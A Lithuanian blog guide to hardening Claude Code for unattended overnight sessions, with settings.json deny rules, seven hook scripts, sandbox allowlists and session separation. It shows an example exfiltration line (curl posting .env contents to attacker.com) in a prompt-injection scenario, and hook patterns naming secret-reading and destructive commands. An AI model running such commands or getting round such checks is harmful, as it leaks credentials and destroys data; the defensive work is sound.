# Kaip sukonfigūruoti Claude Code, kad per naktį nesugadintų jūsų projekto
> 7 hook'ai, settings.json su leidimais ir 12 punktų kontrolinis sąrašas, padėsiantis palikti Claude Code dirbti per naktį neprarandant .env ar duomenų bazės. Apsauga 4 lygmenimis.
Source: https://ailoot.ai/blog/lt/claude-code-safe-overnight-setup/
Canonical: https://ailoot.ai/blog/lt/claude-code-safe-overnight-setup/
Language: lt
Publisher: Ailoot (https://ailoot.ai/)
Translation: guide-154
Revision: sha256-135b16891050dcdd1a76eaa25cf0fc1f64ddfe718472758c0c012b9972548c17
[Ailoot dokumentacija](https://ailoot.ai/docs/) — informacinė medžiaga apie naudojimąsi paslauga.
## Kas pasikeitė 2026 m.: autonominis Claude Code ir tikri incidentai
Svarbiausia mintis
2026 m. Anthropic pristatė `auto-mode`, `/loop` ir `/schedule` — dabar Claude Code gali dirbti valandų valandas be patvirtinimų. Autonomija kainuoja: pasitaiko tikrų incidentų — ištrinamos veikiančios duomenų bazės, nuteka `.env`, o `permissions.deny` klaida vis dar neištaisyta. Šiame vadove paaiškinami 4 apsaugos lygmenys, kuriuos reikia įdiegti prieš pirmąjį darbą per naktį.
Anksčiau Claude Code sustodavo po kiekvieno atsakymo ir prašydavo leidimo kiekvienam įrašymui. Tai buvo nepatogu, bet saugu: fiziškai negalėjote pramiegoti incidento, nes agentas laukdavo jūsų „taip“. 2026 m. šis modelis žlugo. Anthropic pristatė `auto-mode` — atskiras klasifikatoriaus agentas jūsų vardu nusprendžia, ar leisti kiekvieną veiksmą. Atsirado komanda `/loop` (vykdo užklausą sesijoje nustatytais intervalais) ir `/schedule` (ilgai veikiančių užduočių planavimas cron principu). Fone paleistos sesijos su `claude --bg` vykdo agentą be terminalo. Autonominį režimą išsamiai aptariau vadove [„/goal Claude Code: autonominis režimas ir Agent View“](https://ailoot.ai/blog/lt/claude-code-goal-agent-view/).
Problema ta, kad autonomija buvo įdiegta greičiau nei saugumo priemonės.
Prieš porą savaičių paprašiau jo „sutvarkyti“, o galiausiai jis ištrynė ir mano gamybinę, ir kūrimo duomenų bazes.
— browningstreet
Tuo pat metu Anthropic saugykloje yra dvi neišspręstos klaidos, kurias verta žinoti prieš įtraukiant `permissions.deny` į `settings.json`:
- **Issue \#44868** (2026 m. balandžio 7 d.): Claude Code per `grep -n` perskaito `.env` turinį ir įrašo jį į pokalbio stenogramą, nepaisydamas aiškaus draudimo faile `CLAUDE.md`. Klaida neišspręsta.
- **Issue \#24846** (2026 m. vasario 11 d.): `permissions.read.deny` taisyklės `.env*` šablonams netaikomos — `Read` perskaito `.env.local`, nors deny šablonas nustatytas teisingai. Klaida uždaryta kaip pasikartojanti, bet neištaisyta.
Šios dvi spragos parodo, kodėl vieno apsaugos sluoksnio faile `settings.json` nepakanka. Toliau pateiktas keturių sluoksnių modelis: leidimai + hook + smėlio dėžė + sesijų atskyrimas. Kiekvienas gali sumažinti atskleidimą, bet nepadaro kitų sluoksnių išsamių. Cituojamas auto-mode vertinimas neįrodo, kad reguliariųjų išraiškų hook aptinka jo praleidimus. Produkcijai naudokite izoliuotą operacinės sistemos aplinką be produkcinių prisijungimo duomenų ar rašymo prieigos, tinklo apribojimus užtikrinkite už modelio ribų ir prieš darbą be priežiūros išbandykite šias ribas.
## Kas yra žalioji ir raudonoji projekto zonos?
Svarbiausia mintis
Žalioji zona: vietinis projektas, neturintis realių klientų ar pinigų. Raudonoji zona: viskas, kas susiję su gamybine duomenų baze, mokėjimais ar asmens duomenimis. Žaliojoje zonoje galite naudoti `auto-mode` ir minimalų hook'ų rinkinį. Raudonojoje zonoje būtina 4 sluoksnių apsauga, o `--dangerously-skip-permissions` architektūriškai draudžiamas.
Nėra prasmės visiems projektams taikyti vienodą apsaugą. Vietinis asmeninis projektas jūsų kompiuteryje, kuris nepasiekiamas iš išorės, kelia visai kitokią riziką nei paslauga, tvarkanti realius mokėjimus ir sauganti klientų duomenis. Jei visur taikysite vienodą apsaugą, žaliojoje zonoje sulėtinsite darbą, o raudonojoje vis tiek paliksite spragų.
Projektas iš žaliosios zonos pereina į raudonąją, kai įvykdoma bent viena iš trijų sąlygų: atsiranda realių klientų, sistema pradeda tvarkyti pinigus arba duomenų bazėje saugomi žmonių asmens duomenys. Iki tol galite naudoti `auto-mode`, minimalų hook'ų rinkinį ir nesinaudoti smėlio dėže. Po to apsaugą reikia pertvarkyti pagal visą šiame vadove pateiktą sąranką.
Pagrindinis principas: apsaugos lygis priklauso nuo zonos. Kūrimo etapas nesvarbus. Asmeninis projektas jūsų kompiuteryje su bandomąja Stripe paskyra yra žaliojoje zonoje. Paslauga, turinti vieną mokantį klientą ir registracijos formą, jau yra raudonojoje zonoje, net jei vis dar atrodo kaip „juodraštis“. Pradedantiesiems būdingi spąstai — supainioti šias zonas: „dar tik kuriame juodraštį, apsaugą pridėsime vėliau“, o kitą savaitę jau sumoka pirmasis klientas.
## Kaip veikia leidimų hierarchija faile settings.json?
Svarbiausia mintis
Faile `settings.json` `deny` taisyklės visada turi viršenybę prieš `allow`, o apimtys (user → project → local → managed) sujungiamos, o ne perrašomos. Naudotojo lygmens draudimas `.env`, `*.pem` ir `~/.ssh/**` apsaugo net kito žmogaus saugykloje. Raktas `disableBypassPermissionsMode` taip pat architektūriškai blokuoja YOLO režimą.
Anthropic leidimų vertinimo hierarchiją aprašo [oficialioje dokumentacijoje](https://code.claude.com/docs/en/settings): pirmiausia tikrinamos deny taisyklės, tada ask, o galiausiai allow — laimi pirmoji atitinkanti taisyklė. Tai reiškia, kad `deny` visada turi viršenybę prieš `allow`. Jei faile `~/.claude/settings.json` uždrausite skaityti `.env`, o kas nors faile `.claude/settings.json` nustatys `allow`, įsigalios jūsų draudimas, o ne jo leidimas.
Minimalios saugios naudotojo lygmens konfigūracijos pavyzdys faile `~/.claude/settings.json`:
```json
{
"permissions": {
"deny": [
"Read(./.env)",
"Read(./.env.*)",
"Read(**/.env)",
"Read(**/.env.*)",
"Read(*.pem)",
"Read(*.key)",
"Read(**/credentials*.json)",
"Read(~/.ssh/**)",
"Read(~/.aws/**)",
"Read(~/.gnupg/**)"
]
},
"disableBypassPermissionsMode": "disable"
}
```
Kas čia vyksta? Pirmosios šešios taisyklės neleidžia skaityti slaptų failų dabartiniame kataloge ir bet kuriame jo poaplankyje. `*.pem` ir `*.key` yra SSL/TLS ir SSH raktai. `credentials*.json` — įprastas debesijos paslaugų teikėjų naudojamas failo pavadinimas. Paskutiniai trys įrašai nurodo sistemos katalogus, kuriuose laikomi SSH raktai, AWS prisijungimo duomenys ir GPG raktai.
Raktas `disableBypassPermissionsMode: "disable"` blokuoja vėliavą `--dangerously-skip-permissions` (dar vadinamą YOLO režimu). Taip visam laikui pašalinama viena klaidų rūšis: net jei netyčia įrašysite šią vėliavą į skriptą ar slapyvardį, Claude Code jos nepriims. Jis ne tik pašalins ją, bet ir pateiks klaidą „mode disabled by managed settings“.
Be to, nuo 2.1.142 versijos raktas `defaultMode: "auto"` ignoruojamas, jei jis įrašytas projekto arba vietiniuose nustatymuose. Taip apsisaugoma nuo situacijos „atėjau į kito žmogaus saugyklą, o jos `.claude/settings.json` automatiškai įjungia auto-mode“. Anthropic aiškiai nurodė, kad saugyklos negali įjungti auto-mode be naudotojo sutikimo.
Tai pirmoji apsaugos linija. Tuo apsiriboti negalima, nes ji turi dvi spragas, apie kurias sužinosite kitame skyriuje.
## Kodėl permissions.deny nepakanka: 2 atviros GitHub problemos
Svarbiausia mintis
2026 m. balandį naudotojas pateikė problemą \#44868 Anthropic saugykloje: Claude perskaito `.env` per `grep -n` ir išspausdina jo turinį stenogramoje, nors faile `CLAUDE.md` tai uždrausta. Vasario mėnesį problemą \#24846 pranešta apie tai, kad `permissions.read.deny` taisyklė `.env*` neveikia Read įrankio lygmeniu. Abi problemos vis dar neišspręstos, todėl vien `settings.json` be viršuje įdiegto hook'o — kiauras rėtis.
Jei `permissions.deny` veiktų, vadovas galėtų baigtis ankstesniame skyriuje. Bet jis neveikia.
Problema \#44868 (2026 m. balandžio 7 d.): naudotojas faile `CLAUDE.md` aiškiai uždraudė skaityti `.env`, `.dev.vars` ir kitus failus su slaptais duomenimis. Užuot naudojęs Read, Claude paleido `grep -n SOMETHING .env`. Komanda `grep -n` išspausdina visą atitinkančią eilutę su jos numeriu, įskaitant tikrą API žetoną. Eilutė patenka į `tool_result`, rodoma sesijos stenogramoje ir išsaugoma istorijoje.
Svarbi autoriaus akcentuojama detalė: modelio saugumo refleksas suveikia jau pateikus išvestį, o ne prieš paleidžiant komandą. Kitaip tariant, Claude pirmiausia paleidžia `grep`, gauna eilutę su žetonu ir išspausdina ją pokalbyje — tik tada pastebi klaidą ir „atsiprašo“. Tuo metu žetonas jau yra pokalbio istorijoje. Vienintelė išeitis — pakeisti raktą.
Problema \#24846 (2026 m. vasario 11 d.): naudotojas nustatė `permissions.read.deny` ir įtraukė šabloną `**/.env*`. Tada paprašė Claude perskaityti `.env.local`. Read įrankis sėkmingai baigė darbą ir išspausdino failo turinį.
Problema uždaryta kaip pasikartojanti, bet neištaisyta. Šio vadovo rašymo metu (2026 m. birželį) ją vis dar galima atkartoti.
Išvada: pirmasis sluoksnis `settings.json` faile nėra beprasmis, tačiau šie pavyzdžiai nematuoja, kokios atsitiktinių skaitymų dalies jis neleidžia. Tačiau jis neblokuoja Bash komandų (`cat .env`, `grep API_KEY .env`, `head .env`), vykdymo klaidų (problema \#24846) ar gudrių grandinių, naudojančių `git diff` arba `git show` su įrašu, kuriame yra `.env`. Todėl reikia antrojo sluoksnio — hook'ų.
## Kaip hook gali blokuoti atpažintus pavojingus veiksmus?
Svarbiausia mintis
Claude Code hook'ai yra apvalkalo skriptai, paleidžiami konkrečių įvykių (`PreToolUse`, `UserPromptSubmit`, `Stop`) metu. Jie gali blokuoti veiksmą grąžindami išėjimo kodą 2 arba JSON su `permissionDecision: "deny"`. Kitaip nei leidimai ir `CLAUDE.md`, hook'as yra tarpinė programinė įranga: jis perima iškvietimą prieš jo vykdymą, nedalyvaujant modeliui.
Hook'ai veikia kitu abstrakcijos lygmeniu nei leidimai. Leidimai — tai taisyklės, į kurias modelis atsižvelgia spręsdamas, ką daryti. Hook'as veikia kitaip: modelis nusprendžia iškviesti įrankį, hook'as paleidžiamas tarp modelio ir sistemos, patikrina įvestį ir leidžia arba blokuoja veiksmą. Modelis hook'o sprendime nedalyvauja — tai jūsų parašytas apvalkalo kodas.
Anthropic blokavimo veikimą aprašo [oficialioje hook'ų dokumentacijoje](https://code.claude.com/docs/en/hooks):
Išėjimo kodas 2 reiškia blokuojančią klaidą. Claude Code ignoruoja stdout ir visą jame esantį JSON. Vietoj to stderr tekstas grąžinamas Claude kaip klaidos pranešimas.
— Claude Code dokumentacija (Hooks), https://code.claude.com/docs/en/hooks
Tai reiškia du dalykus. Pirma, tinkamai sukonfigūruotas blokuojantis hook gali atmesti atitinkantį įrankio iškvietimą. PreToolUse išėjimo kodas 2 blokuoja tą iškvietimą; jis neįrodo, kad skriptas atpažįsta visas pavojingas lygiavertes komandas. Antra, stderr galite pateikti prasmingą pranešimą, kurį Claude perskaitys kaip klaidą ir mėgins rasti kitą būdą. Kitaip tariant, hook'as yra ne tik „tvora“, bet ir „tvora su ženklu, paaiškinančiu, kodėl negalima pereiti“.
Įvykiai, kuriuos galima blokuoti grąžinus 2:
- `PreToolUse` — blokuoja įrankio iškvietimą prieš vykdymą. Pagrindinis apsauginių hook'ų įvykis.
- `PermissionRequest` — atmeta leidimo prašymą atlikti veiksmą.
- `UserPromptSubmit` — blokuoja ir ištrina naudotojo užklausą. Naudinga, jei joje yra įtartino teksto (pavyzdžiui, užklausa įterpta į pasodintą el. laišką).
- `Stop` — neleidžia Claude baigti sesijos. Galima naudoti kaip „ciklą“, kad agentas dirbtų, kol bus įvykdyta sąlyga.
- `PreCompact` — blokuoja automatinį konteksto sutraukimą. Naudinga, jei norite išsaugoti stenogramą iki rankinio sprendimo.
- `WorktreeCreate` — atmeta worktree kūrimą. Apsauga nuo Claude bandymo klonuoti saugyklą netikėtoje vietoje.
Alternatyva išėjimo kodui 2 — grąžinti JSON su lauku `hookSpecificOutput.permissionDecision`. `permissionDecision` gali turėti vieną iš keturių reikšmių:
- `allow` — aiškiai leidžia veiksmą, apeidamas įprastą leidimų procesą.
- `deny` — blokuoja veiksmą, PreToolUse atveju prilygsta išėjimo kodui 2.
- `ask` — perduoda sprendimą naudotojui (parodomas dialogo langas).
- `defer` — sprendimą perduoda įprastai leidimų logikai.
Taip hook'as įgyja daugiau kontrolės nei vien išėjimo kodas. Naudodami `permissionDecision: "ask"`, galite įprastus veiksmus pakeisti veiksmais, kuriems reikia patvirtinimo, jų visiškai neužblokuodami. Taip darau su `npm install ` ir lockfile pakeitimais.
Daugiau apie hook'ų veikimą ir visus 31 šiuo metu Claude Code prieinamus įvykius rašiau atskirame vadove [„Claude Code hook'ai: 7 paruoštos kopijuoti taisyklės“](https://ailoot.ai/blog/lt/claude-code-hooks/). Toliau pateiksiu konkrečius autonominio darbo hook'us.
## Kokius 7 hook'us naudoju darbui per naktį?
Svarbiausia mintis
Iliustraciniai `PreToolUse` hook septyniems scenarijams: pažymėti pasirinktus paslapčių skaitymus, blokuoti atpažintus pažodinius `git push`, filtruoti pasirinktus SQL ir `rm -rf` šablonus, peržiūrėti paketų diegimus bei manifestų pakeitimus ir registruoti atitinkančius įrankių iškvietimus. Prieš įjungdami vietoje išbandykite jų atitiktis ir praleidimus. Šie reguliariųjų išraiškų pavyzdžiai neišsamūs ir nenustato produkcinės saugumo ribos.
Tai antrasis apsaugos sluoksnis, papildantis pirmąjį. Visi hook'ai laikomi `.claude/hooks/`, registruojami per `.claude/settings.json`, o jų veikimui būtina įdiegti jq.
### 1-asis hook'as: apsaugokite .env, .pem ir credentials.json nuo skaitymo
Jis prideda pasirinktų Read kelių ir įprastų Bash paslapčių skaitymo komandų patikras. Jis neaptinka visų įrankių ar visų paslapties perskaitymo būdų. Failas: `.claude/hooks/block-secret-reads.sh`:
```bash
#!/bin/bash
INPUT=$(cat)
TOOL=$(echo "$INPUT" | jq -r '.tool_name')
ARG=$(echo "$INPUT" | jq -r '.tool_input.file_path // .tool_input.command // ""')
# Įtartinas kelias Read įrankyje
if [ "$TOOL" = "Read" ] && echo "$ARG" | grep -qE '(\.env|\.pem|\.key|credentials\.json|secrets/|\.ssh/|\.aws/)'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "Secret file. Use op:// references or env vars."
}
}'
exit 0
fi
# Bash komandos, skaitančios paslaptis per cat/grep/head
if [ "$TOOL" = "Bash" ] && echo "$ARG" | grep -qE '\b(cat|grep|head|tail|less|more|awk|sed|xxd)\b.*(\.env|\.pem|credentials)'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "Reading secrets via shell is blocked."
}
}'
exit 0
fi
exit 0
```
Registracija faile `.claude/settings.json`:
```json
{
"hooks": {
"PreToolUse": [
{
"matcher": "Read|Bash",
"hooks": [{
"type": "command",
"command": "${CLAUDE_PROJECT_DIR}/.claude/hooks/block-secret-reads.sh"
}]
}
]
}
}
```
Įdiegę paleiskite `chmod +x .claude/hooks/block-secret-reads.sh`. Patikrinkite: paprašykite Claude perskaityti `.env.local` — vietoj failo turinio bus parodytas pranešimas „Secret file. Use op:// references or env vars.“
### 2-asis hook: blokuokite pažodinius git push iškvietimus naktinėse sesijose
Sesijai be priežiūros šis pavyzdys konservatyviai blokuoja kiekvieną atpažįstamą pažodinį `git push`, įskaitant išsiuntimus į funkcijų šakas. Jis nebando numanyti dabartinės šakos ar nuspręsti, ar priverstinio siuntimo parinktis saugi. Failas: `.claude/hooks/block-force-push.sh`:
```bash
#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')
if echo "$CMD" | grep -qE '(^|[[:space:];|&()])git[[:space:]]+push([[:space:];|&()]|$)'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "Push disabled in overnight session. Use supervised review."
}
}'
fi
exit 0
```
Užregistruokite per `PreToolUse` su `Bash` matcher. Kadangi blokuojama atpažinta push komanda, o ne nagrinėjamos parinktys ir šakų pavadinimai, aptinkami `git push --force origin main`, `git push origin main --force`, `git push -f`, `git push origin HEAD:main` ir pažodinis push `&&` ar `;` grandinėje. Tai vietiniai eilučių atitikties pavyzdžiai, o ne komandos nuotolinei saugyklai vykdyti.
Tai lieka teksto euristika. Git pseudonimai, shell funkcijos, `git -C ... push`, sukonstruoti komandų pavadinimai, scenarijai ir kiti įrankiai gali ją apeiti; tai nėra išsamus komandų aplinkos analizatorius. Apsaugotų šakų taisykles užtikrinkite Git serveryje, pašalinkite jas apeinančius prisijungimo duomenis ir darbą be priežiūros vykdykite izoliuotoje aplinkoje be produkcinės rašymo prieigos. Neaptiktas hook šablonas negali suteikti produkcinių teisių.
### 3-iasis hook'as: blokuokite destruktyvias SQL operacijas
Jis tiesiogiai padeda išvengti duomenų bazės ištrynimo incidentų. Failas: `.claude/hooks/block-destructive-sql.sh`:
```bash
#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')
# DROP TABLE / DATABASE / SCHEMA, TRUNCATE
if echo "$CMD" | grep -iqE '\b(DROP\s+(TABLE|DATABASE|SCHEMA)|TRUNCATE\s+TABLE)\b'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "Destructive DDL blocked. Use migrations with explicit human approval."
}
}'
exit 0
fi
# DELETE FROM be WHERE
if echo "$CMD" | grep -iqE '\bDELETE\s+FROM\b' && ! echo "$CMD" | grep -iqE '\bWHERE\b'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "DELETE without WHERE blocked. Confirm scope explicitly."
}
}'
exit 0
fi
# UPDATE be WHERE
if echo "$CMD" | grep -iqE '\bUPDATE\s+\S+\s+SET\b' && ! echo "$CMD" | grep -iqE '\bWHERE\b'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "ask",
permissionDecisionReason: "UPDATE without WHERE will affect all rows. Confirm scope."
}
}'
exit 0
fi
exit 0
```
Užregistruokite su `PreToolUse` ir `matcher: "Bash"`. Atkreipkite dėmesį į skirtumą: `DROP` ir `DELETE` be `WHERE` visiškai blokuojami, o `UPDATE` be `WHERE` pakeičiamas į `ask` — kartais tai gali būti teisėta (pavyzdžiui, nustatant vėliavą visuose įrašuose migracijos metu), tačiau visada reikia rankinio patvirtinimo.
### 4-asis hook'as: rm -rf filtras
Standartinis pavyzdys iš Anthropic dokumentacijos, pritaikytas atmesti su paaiškinimu:
```bash
#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')
# rm -rf /, ~, $HOME, * be aiškiai nurodytos apimties
if echo "$CMD" | grep -qE 'rm\s+-rf?\s+(\.|/|~|\$HOME|\*)\s*$' || echo "$CMD" | grep -qE 'rm\s+-rf?\s+(\.|/|~)/'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "Destructive rm without explicit scope. Specify the directory."
}
}'
fi
exit 0
```
Hook'as leidžia `rm -rf node_modules`, `rm -rf .next/cache` ir kitus aiškiai apribotos apimties trynimus. Jis blokuoja `rm -rf .`, `rm -rf /`, `rm -rf ~` ir panašias „viską ištrinti“ komandas.
### 5-asis hook'as: patvirtinkite naujų paketų diegimą
Šis hook'as padeda apsisaugoti nuo tiekimo grandinės atakų. Jei Claude savarankiškai nusprendžia pridėti naują priklausomybę, parodomas dialogo langas:
```bash
#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')
# Priklausomybių diegimas iš lockfile — leidžiama
if echo "$CMD" | grep -qE '\b(npm install|pnpm install|yarn install|pip install -r)\s*$'; then
exit 0
fi
# Naujų paketų pridėjimas
if echo "$CMD" | grep -qE '\b(npm install|pnpm add|yarn add|pip install|uv add)\s+\S'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "ask",
permissionDecisionReason: "Adding new dependency. Confirm package name and version."
}
}'
fi
exit 0
```
Šis hook'as leidžia diegti pagal lockfile laisvai, o norint pridėti naują priklausomybę reikia patvirtinimo.
### 6-asis hook'as: apsaugokite package.json ir lockfile
Bet koks priklausomybių manifesto pakeitimas yra ženklas, kad kas nors turėtų jį patikrinti. Ypač per naktį.
```bash
#!/bin/bash
INPUT=$(cat)
PATH_ARG=$(echo "$INPUT" | jq -r '.tool_input.file_path // ""')
if echo "$PATH_ARG" | grep -qE '(package\.json|pnpm-lock\.yaml|package-lock\.json|yarn\.lock|requirements\.txt|pyproject\.toml|Cargo\.toml|go\.mod)$'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "ask",
permissionDecisionReason: "Dependency manifest change. Confirm scope before write."
}
}'
fi
exit 0
```
Užregistruokite su `PreToolUse` ir matcher `Write|Edit`.
### 7-asis hook'as: visų Bash iškvietimų išsamus audito žurnalas
Jei naktį kas nors nutiktų, reikės išsamaus žurnalo įvykių sekai suprasti. Užregistruokite faile `settings.json` (atskiro hook'o skripto nėra — viską atlieka jq):
```json
{
"hooks": {
"PreToolUse": [
{
"matcher": "Bash|Write|Edit",
"hooks": [{
"type": "command",
"command": "jq -c '{ts: now, tool: .tool_name, cmd: (.tool_input.command // .tool_input.file_path), cwd: .tool_input.cwd}' >> ${CLAUDE_PROJECT_DIR}/.claude/audit.jsonl; exit 0"
}]
}
]
}
}
```
Failas `.claude/audit.jsonl` pildomas po vieną eilutę. Ryte, po naktinio `/loop`, galite paleisti `tail -n 100 .claude/audit.jsonl | jq` ir peržiūrėti, ką agentas darė kiekvienu momentu. Tai būtina vėlesnei įvykių analizei, nes sesijos stenograma gali būti ilga ir sunkiai skaitoma, o audito žurnale aiškiai nurodyta įvykių seka.
## Kaip smėlio dėžė ir worktree izoliacija apsaugo ilgas sesijas?
Svarbiausia mintis
Claude Code smėlio dėžė izoliuoja failų sistemą ir tinklą. Anthropic praneša, kad leidimų prašymų sumažėja 84 %, išlaikant tokį patį saugumą. Tinklo izoliacija blokuoja `.env` išsiuntimą į nuotolinį serverį, net jei agentas jau jį perskaitė. Ilgoms fone veikiančioms sesijoms smėlio dėžė ir worktree yra būtini.
Jei hook'ai yra „tvora su ženklu“, smėlio dėžė yra „tvora, griovys ir dronų tinklas“. Tai ketvirtasis apsaugos sluoksnis, skirtas situacijoms, kai hook'ai praleidžia veiksmą, tačiau net jį įvykdžius neturi būti padaryta žala už aplinkos ribų.
Savo [tinklaraščio įraše apie smėlio dėžę](https://www.anthropic.com/engineering/claude-code-sandboxing) (2025 m. spalio 20 d.) Anthropic pateikia vidinių matavimų rezultatus:
Remiantis mūsų vidiniais duomenimis, smėlio dėžė saugiai sumažina leidimų prašymų skaičių 84 %.
— Anthropic Engineering, https://www.anthropic.com/engineering/claude-code-sandboxing
Tai reiškia, kad įjungus `/sandbox` Claude nustoja prašyti leidimo 84 % veiksmų, nes fiziškai negali atlikti jų už smėlio dėžės ribų. Tai padeda dirbti greičiau, tačiau nėra svarbiausia smėlio dėžės nauda.
Smėlio dėžė užtikrina du izoliacijos lygmenis, kurių kiekvienas turi savo paskirtį:
**Failų sistemos izoliacija** apriboja skaitymą ir rašymą konkrečiai leidžiamuose kataloguose. Net jei hook'as nepastebi bandymo įrašyti į `/etc/hosts` arba perskaityti `~/.ssh/id_rsa`, smėlio dėžė neleis sisteminiam iškvietimui įvykti. Tai operacinės sistemos lygmens apsauga, kurios programos lygmuo nemato.
**Tinklo izoliacija** leidžia jungtis tik prie patvirtintų serverių. Tai itin svarbu apsisaugant nuo duomenų išviliojimo. Pavyzdys: užklausa, įterpta į pasodintą failą, apgavo Claude, kad šis perskaitytų `.env` (hook'as to nepastebėjo, nes failas perskaitytas neįprastu būdu), o tada modelis nusprendė paleisti `curl -X POST attacker.com -d "$ENV_CONTENT"`. Be tinklo izoliacijos tai pavyktų. Įjungus tinklo izoliaciją, `curl` nepasieks `attacker.com`, nes šio serverio nėra leidžiamų sąraše.
Paleiskite komandą `/sandbox` Claude Code viduje. Konfigūruokite faile `~/.claude/settings.json`:
```json
{
"sandbox": {
"filesystem": {
"allow": ["${CLAUDE_PROJECT_DIR}", "/tmp/claude-sandbox"],
"deny": ["~/.ssh", "~/.aws", "~/.gnupg", "/etc"]
},
"network": {
"allow": [
"api.anthropic.com",
"github.com",
"registry.npmjs.org",
"pypi.org"
]
}
}
}
```
Ilgoms fone veikiančioms sesijoms, paleistoms su `claude --bg`, prie smėlio dėžės pridėkite worktree izoliaciją. Tai vietinė Claude Code funkcija: kiekviena fone veikianti sesija automatiškai perkeliama į atskirą `.claude/worktrees//` katalogą ir atskirą šaką. Taip vienu metu veikiančios sesijos netrukdo viena kitai keisti tų pačių failų. Worktree izoliaciją išsamiai aptariau vadove [„Agent View ir Worktrees: autonominis Claude Code režimas“](https://ailoot.ai/blog/lt/claude-code-goal-agent-view/).
Suteikite Claude būdą patikrinti savo darbą.
Smėlio dėžė yra grįžtamojo ryšio ciklo dalis. Žinodamas, kad jo veiksmai apriboti, Claude dirba atidžiau ir aiškiau nurodo tarpinius veiksmus.
## Kur 2026 m. veikia auto-mode ir kur neveikia?
Svarbiausia mintis
Claude Code auto-mode naudoja Sonnet 4.6 klasifikatorių, kuris pakeičia rankinius leidimus automatiniais sprendimais pagal Anthropic taisykles. Pačios Anthropic duomenimis, klaidingai neigiamų atsakymų rodiklis vertinant pavojingus veiksmus yra 17 %, o sesija sustabdoma po 3 iš eilės arba 20 bendrų klasifikatoriaus atmetimų. Žaliojoje zonoje tai tinkamas rankinio patvirtinimo pakaitalas. Raudonojoje zonoje hook'ai vis tiek būtini.
2026 m. kovą Anthropic pristatė auto-mode kaip „tarpinį variantą tarp rankinės peržiūros ir visiško apsaugos priemonių nebuvimo“. Tai atskiras Sonnet 4.6 modelis, kuris prieš vykdymą įvertina kiekvieną Claude veiksmą pagal kriterijų rinkinį. Anthropic aprašė veikimo principą [Anthropic Engineering tinklaraštyje](https://www.anthropic.com/engineering/claude-code-auto-mode):
Auto-mode yra naujas Claude Code režimas, kuriame patvirtinimai perduodami modeliu pagrįstiems klasifikatoriams. Tai tarpinis variantas tarp rankinės peržiūros ir visiško apsaugos priemonių nebuvimo.
— Anthropic Engineering, https://www.anthropic.com/engineering/claude-code-auto-mode
Auto-mode turi du svarbius apribojimus:
- Jei sesijoje susikaupia 3 iš eilės arba 20 bendrų klasifikatoriaus atmetimų, modelis sustoja ir perduoda sprendimą žmogui. Taip apsisaugoma nuo situacijos, kai „Claude cikliškai mėgina apeiti apribojimą 100 skirtingų tos pačios komandos formuluočių“.
- Auto-mode leidžia veiksmą, jei jis 93 % atvejų panašus į veiksmus, kuriuos naudotojai ir taip patvirtina. Tai sumažina nuovargį dėl leidimų prašymų, tačiau neapsaugo nuo neįprastų pavojingų veiksmų.
Štai pagrindinis skaičius, į kurį reikia atkreipti dėmesį:
17 % klaidingai neigiamų atsakymų tikruose pernelyg skubotuose veiksmuose — štai sąžiningas skaičius.
— Anthropic Engineering, https://www.anthropic.com/engineering/claude-code-auto-mode
Paskelbtas 17% yra to vertinimo klaidingai neigiamų atsakymų rodiklis, o ne kiekvieno jūsų projekto veiksmo tikimybė. Jis nepatvirtina, kad pavyzdiniai hook aptinka praleistus veiksmus. Raudonojoje zonoje darbui be priežiūros reikia užtikrintos izoliacijos nuo produkcinių rašymų bei paslapčių, serverio apsaugotų šakų ir prisijungimo duomenų, kurie negali apeiti tų taisyklių.
Praktinė išvada: hook naudokite kaip papildomas patikras vienkartinėje atkuriamoje aplinkoje. Net vietinis projektas gali turėti nesekamų failų ar prisijungimo duomenų, kurių Git neatkurs. Raudonojoje zonoje hook praleidimą turi sulaikyti tikri prieigos valdikliai; reguliariųjų išraiškų rinkinys nepaverčia savavališko komandų vykdymo deterministine saugumo garantija.
## Kodėl reikia atskirti tris sesijų tipus?
Svarbiausia mintis
Pavojingiausią grandinę sudaro ne viena netinkama, o trys įprastos komandos iš eilės. Agentas perskaito `.env` (teisėta), išnagrinėja gautą el. laišką (teisėta) ir išsiunčia HTTP užklausą išorėn (teisėta). Kiekvienas veiksmas atskirai saugus, tačiau kartu jie reiškia duomenų išviliojimą. Apsauga — padalyti šiuos tris užduočių tipus į atskiras sesijas su skirtingais leidimais.
Vienoje sesijoje neturėtų būti atliekami šių trijų tipų darbai:
**1 tipas: darbas su asmens duomenimis.** Sesija turi prieigą prie gamybinės duomenų bazės, gali siųsti el. laiškus ir matyti prisijungimo duomenis. Ji NETURI prieigos prie išorinių dokumentų (el. laiškų, PDF failų, tinklalapių) ir NEGALI siųsti duomenų savavališkais adresais.
**2 tipas: išorinių dokumentų apdorojimas.** Sesija gali nagrinėti gautus el. laiškus, atsisiųsti tinklalapius ir skaityti iš el. laiškų gautus PDF failus. Ji NETURI prieigos prie asmens duomenų turinčios duomenų bazės ir NEGALI siųsti informacijos išorėn be aiškaus patvirtinimo.
**3 tipas: išorinis publikavimas.** Sesija gali skelbti įrašus socialiniuose tinkluose, siųsti el. laiškų kampanijas ir kurti pull request'us. Ji NETURI prieigos prie asmens duomenų ir nenagrinėja gaunamo turinio.
